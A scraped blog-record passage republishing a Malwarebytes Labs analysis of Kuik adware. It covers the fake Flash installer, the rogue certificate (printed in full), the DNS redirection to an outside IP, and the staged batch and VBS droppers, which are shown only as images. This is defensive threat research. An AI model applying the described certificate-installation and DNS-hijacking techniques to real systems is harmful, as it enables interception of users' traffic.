{"id":12229,"date":"2018-05-08T09:10:02","date_gmt":"2018-05-08T17:10:02","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2018\/05\/08\/news-5998\/"},"modified":"2018-05-08T09:10:02","modified_gmt":"2018-05-08T17:10:02","slug":"news-5998","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2018\/05\/08\/news-5998\/","title":{"rendered":"Kuik: a simple yet annoying piece of adware"},"content":{"rendered":"<p><strong>Credit to Author: Malwarebytes Labs| Date: Tue, 08 May 2018 16:00:27 +0000<\/strong><\/p>\n<p>Some pieces of malware can be so simple\u2014and yet <em>such a pain<\/em> to get rid of\u2014especially when they start interfering with your system&#8217;s configuration. This much is true for the Kuik adware program, which surprised us all by forcing affected machines to join a domain controller.<\/p>\n<p>The perpetrators are using this unusual technique to push Google Chrome extensions and coin miner applications to their victims. In this blog, we&#8217;ll provide technical analysis of this adware and custom removal instructions.<\/p>\n<h3>Technical description<\/h3>\n<p><strong>Stage 1 &#8211; .NET installer<\/strong><\/p>\n<p><a href=\"https:\/\/www.virustotal.com\/#\/file\/b9323268bf81778329b8316dec8f093fe71104f16921a1c9358f7ba69dd52686\/details\" target=\"_blank\" rel=\"noopener\">0ba20fee958b88c48f3371ec8d8a8e5d<\/a><\/p>\n<p>The first stage is written in .NET with an icon imitating the Adobe Flash Player. This is typical of bundlers that promise to update software components but also add their own code to the original installer.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23312\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/plug_dotnet\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/plug_dotnet.png\" data-orig-size=\"373,173\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"plug_dotnet\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/plug_dotnet-300x139.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/plug_dotnet.png\" class=\"alignnone size-full wp-image-23312\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/plug_dotnet.png\" alt=\"\" width=\"373\" height=\"173\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/plug_dotnet.png 373w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/plug_dotnet-300x139.png 300w\" sizes=\"auto, (max-width: 373px) 100vw, 373px\" \/><\/p>\n<p>After opening with a dotNet decompiler (i.e. dnSpy), we found that the project&#8217;s original name was\u00a0<em>WWVaper<\/em>.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23313\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/project\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/project.png\" data-orig-size=\"400,396\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"project\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/project-300x297.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/project.png\" class=\"alignnone size-full wp-image-23313\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/project.png\" alt=\"\" width=\"400\" height=\"396\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/project.png 400w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/project-150x150.png 150w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/project-300x297.png 300w\" sizes=\"auto, (max-width: 400px) 100vw, 400px\" \/><\/p>\n<p>It has three resources inside:<\/p>\n<ul>\n<li>a certificate (svr.crt)<\/li>\n<li>a legitimate Flash (decoy)<\/li>\n<li>a next stage component (upp.exe)<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23302\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/resources-5\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/resources.png\" data-orig-size=\"728,202\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"resources\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/resources-300x83.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/resources-600x166.png\" class=\"alignnone size-full wp-image-23302\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/resources.png\" alt=\"\" width=\"728\" height=\"202\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/resources.png 728w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/resources-300x83.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/resources-600x166.png 600w\" sizes=\"auto, (max-width: 728px) 100vw, 728px\" \/><\/p>\n<p>The certificate:<\/p>\n<pre>-----BEGIN CERTIFICATE-----  MIIEZjCCA06gAwIBAgIJAPywkVD7m\/9XMA0GCSqGSIb3DQEBCwUAMHMxCzAJBgNV  BAYTAlVTMQswCQYDVQQIDAJOWTERMA8GA1UEBwwITmV3IFlvcmsxFTATBgNVBAoM  DEV4YW1wbGUsIExMQzEMMAoGA1UEAwwDYWxsMR8wHQYJKoZIhvcNAQkBFhB0ZXN0  QGV4YW1wbGUuY29tMB4XDTE4MDIxNjIyMjA0M1oXDTE5MDIxNjIyMjA0M1owczEL  MAkGA1UEBhMCVVMxCzAJBgNVBAgMAk5ZMREwDwYDVQQHDAhOZXcgWW9yazEVMBMG  A1UECgwMRXhhbXBsZSwgTExDMQwwCgYDVQQDDANhbGwxHzAdBgkqhkiG9w0BCQEW  EHRlc3RAZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB  AQDMohZZUrsJOqXS1\/eTpGGOMDxEE+YmRLmSU5h\/K4tmnkr7Tv9cukICp\/Xxnrci  5ONLdqgQFH1xLxLa6Xo+2X075NS0VjfMPx9WvYPSZ\/T7uQQhb8Mc+ojjNoHK0JbD  oPjiuiGTLllq1AQ34kvQa6k8E7GPjSdrQnPF55+aWAdPSIDcdqxMt1uFOcF0DY4y  vHNpFw1xsjpYuvw1\/MvwITr3A+PdKN9TIMzDgbXTZEtc7rWDah4HtIYSJZ2xwIcH  qp6xU9FypSV6JnbITlv4gZkUuI2HeiNpSGGd55KOtk5pDhuGeNfLGor6eWcSG6eX  N6erGBkM7VTfJ5yM9Pxfcu+hAgMBAAGjgfwwgfkwHQYDVR0OBBYEFCZDbmCp6xnU  3F\/U3InMEiuduPEMMB8GA1UdIwQYMBaAFCZDbmCp6xnU3F\/U3InMEiuduPEMMAkG  A1UdEwQCMAAwCwYDVR0PBAQDAgWgMHEGA1UdEQRqMGiCCXlhaG9vLmNvbYINd3d3  LnlhaG9vLmNvbYIKZ29vZ2xlLmNvbYIOd3d3Lmdvb2dsZS5jb22CCWdvb2dsZS5t  ZYINd3d3Lmdvb2dsZS5tZYIIYmluZy5jb22CDHd3dy5iaW5nLmNvbTAsBglghkgB  hvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwDQYJKoZIhvcN  AQELBQADggEBAMQm1OHLdcYvQK6aMPgYdOozkDT20DuJ6NZD1Frljjex7NzB7nVm  AC+3h1huSyqxYGbJQ8J3wLOYRZH+N5GOZUvjwrU+NY5KurWbMj6USMfsWfnnSXQi  0ADyjYZqtPMmIaIK86yPx4t+3mA8VX5nDRurjKoprTKwaQpxKksZ0kkpitN1epZX  2g1YJAnjnq\/9Ilt3MOCEpoCnUz5E+bgQO9AS9ZQqNryuGFfzjgXxLbYBbyDVknZ0  2zz4Zzkm2QBCIGi5jigz7VmwmcpIhJPH9QKlCw5Dx+F3mepR01UMaiwEBDGIeSWX  +joBVMKdqhFu9zChlN0dW0hbViIm+gDYsCQ=  -----END CERTIFICATE-----  <\/pre>\n<p>Details of the certificate:<br \/> <img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23303\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/cert_info-2\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_info.png\" data-orig-size=\"410,279\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"cert_info\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_info-300x204.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_info.png\" class=\"alignnone size-full wp-image-23303\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_info.png\" alt=\"\" width=\"410\" height=\"279\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_info.png 410w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_info-300x204.png 300w\" sizes=\"auto, (max-width: 410px) 100vw, 410px\" \/><\/p>\n<p>The certificate points to a DNS name of yahoo.com. However, the certification path is invalid:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23304\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/cert_path\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_path.png\" data-orig-size=\"416,433\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"cert_path\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_path-288x300.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_path.png\" class=\"alignnone size-full wp-image-23304\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_path.png\" alt=\"\" width=\"416\" height=\"433\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_path.png 416w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cert_path-288x300.png 288w\" sizes=\"auto, (max-width: 416px) 100vw, 416px\" \/><\/p>\n<p>The .NET installer is responsible for installing the malicious certificate and other components. First, it enumerates the network interfaces and adds collected IPs to the list:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23314\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/enum_interfaces\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/enum_interfaces.png\" data-orig-size=\"807,505\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"enum_interfaces\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/enum_interfaces-300x188.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/enum_interfaces-600x375.png\" class=\"alignnone size-full wp-image-23314\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/enum_interfaces.png\" alt=\"\" width=\"807\" height=\"505\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/enum_interfaces.png 807w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/enum_interfaces-300x188.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/enum_interfaces-600x375.png 600w\" sizes=\"auto, (max-width: 807px) 100vw, 807px\" \/><\/p>\n<p>Then, it adds a new IP as a DNS (<a href=\"https:\/\/db-ip.com\/all\/18.219.162\" target=\"_blank\" rel=\"noopener\">18.219.162.248<\/a>) to the collected interfaces. It also installs its own certificate (<em>svr.crt<\/em>):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23301\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/add_cert\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/add_cert.png\" data-orig-size=\"853,540\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"add_cert\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/add_cert-300x190.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/add_cert-600x380.png\" class=\"alignnone size-full wp-image-23301\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/add_cert.png\" alt=\"\" width=\"853\" height=\"540\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/add_cert.png 853w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/add_cert-300x190.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/add_cert-600x380.png 600w\" sizes=\"auto, (max-width: 853px) 100vw, 853px\" \/><\/p>\n<p><strong>Stage 2 &#8211; upp.exe<\/strong><\/p>\n<div class=\"td style-scope vt-keyval-table\"><a href=\"https:\/\/www.virustotal.com\/#\/file\/990c019319fc18dca473ac432cdf4c36944b0bce1a447e85ace819300903a79e\/details\" target=\"_blank\" rel=\"noopener\">3a13b73f823f081bcdc57ea8cc3140ac<\/a><\/div>\n<p>This application is an installer bundle that is not obfuscated. Inside, we found a cabinet file:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23307\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/cabinet_res\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet_res.png\" data-orig-size=\"825,492\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"cabinet_res\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet_res-300x179.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet_res-600x358.png\" class=\"alignnone size-full wp-image-23307\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet_res.png\" alt=\"\" width=\"825\" height=\"492\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet_res.png 825w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet_res-300x179.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet_res-600x358.png 600w\" sizes=\"auto, (max-width: 825px) 100vw, 825px\" \/><\/p>\n<p>It contains other modules to be dropped:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23306\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/cabinet\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet.png\" data-orig-size=\"504,205\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"cabinet\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet-300x122.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet.png\" class=\"alignnone size-full wp-image-23306\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet.png\" alt=\"\" width=\"504\" height=\"205\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet.png 504w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/cabinet-300x122.png 300w\" sizes=\"auto, (max-width: 504px) 100vw, 504px\" \/><\/p>\n<p>The application &#8220;install.exe&#8221; is deployed with the &#8220;setup.bat&#8221; as a parameter.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23305\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/setup_bat\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat.png\" data-orig-size=\"529,530\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"setup_bat\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat-300x300.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat.png\" class=\"alignnone size-full wp-image-23305\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat.png\" alt=\"\" width=\"529\" height=\"530\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat.png 529w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat-150x150.png 150w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat-300x300.png 300w\" sizes=\"auto, (max-width: 529px) 100vw, 529px\" \/><\/p>\n<p><strong>Stage 3 &#8211; unpacked components from the cabinet<\/strong><\/p>\n<p>The application <em>install.exe<\/em> is basic. Its only role is to run the next process in elevated mode. Below, you can see its main function:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23308\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/just_run_cmd\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/just_run_cmd.png\" data-orig-size=\"828,444\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"just_run_cmd\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/just_run_cmd-300x161.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/just_run_cmd-600x322.png\" class=\"alignnone size-full wp-image-23308\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/just_run_cmd.png\" alt=\"\" width=\"828\" height=\"444\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/just_run_cmd.png 828w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/just_run_cmd-300x161.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/just_run_cmd-600x322.png 600w\" sizes=\"auto, (max-width: 828px) 100vw, 828px\" \/><\/p>\n<p>The script setup.bat deploys another component named <em>SqadU9FBEV.bat<\/em>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23309\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/setup_bat-2\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat-1.png\" data-orig-size=\"416,64\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"setup_bat\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat-1-300x46.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat-1.png\" class=\"alignnone size-full wp-image-23309\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat-1.png\" alt=\"\" width=\"416\" height=\"64\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat-1.png 416w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/setup_bat-1-300x46.png 300w\" sizes=\"auto, (max-width: 416px) 100vw, 416px\" \/><\/p>\n<p>It delays execution by pinging 127.0.0.1. Then, it runs the second encoded script, giving it a campaign ID as a parameter:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23311\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/squad_bat\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/squad_bat.png\" data-orig-size=\"446,184\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"squad_bat\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/squad_bat-300x124.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/squad_bat.png\" class=\"alignnone size-full wp-image-23311\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/squad_bat.png\" alt=\"\" width=\"446\" height=\"184\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/squad_bat.png 446w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/squad_bat-300x124.png 300w\" sizes=\"auto, (max-width: 446px) 100vw, 446px\" \/><\/p>\n<p>The next element deployed is an encoded VBS script:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"23310\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/05\/kuik-simple-yet-annoying-piece-adware\/attachment\/encoded-4\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/encoded.png\" data-orig-size=\"748,72\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"encoded\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/encoded-300x29.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/encoded-600x58.png\" class=\"alignnone size-full wp-image-23310\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/encoded.png\" alt=\"\" width=\"748\" height=\"72\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/encoded.png 748w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/04\/encoded-300x29.png 300w, 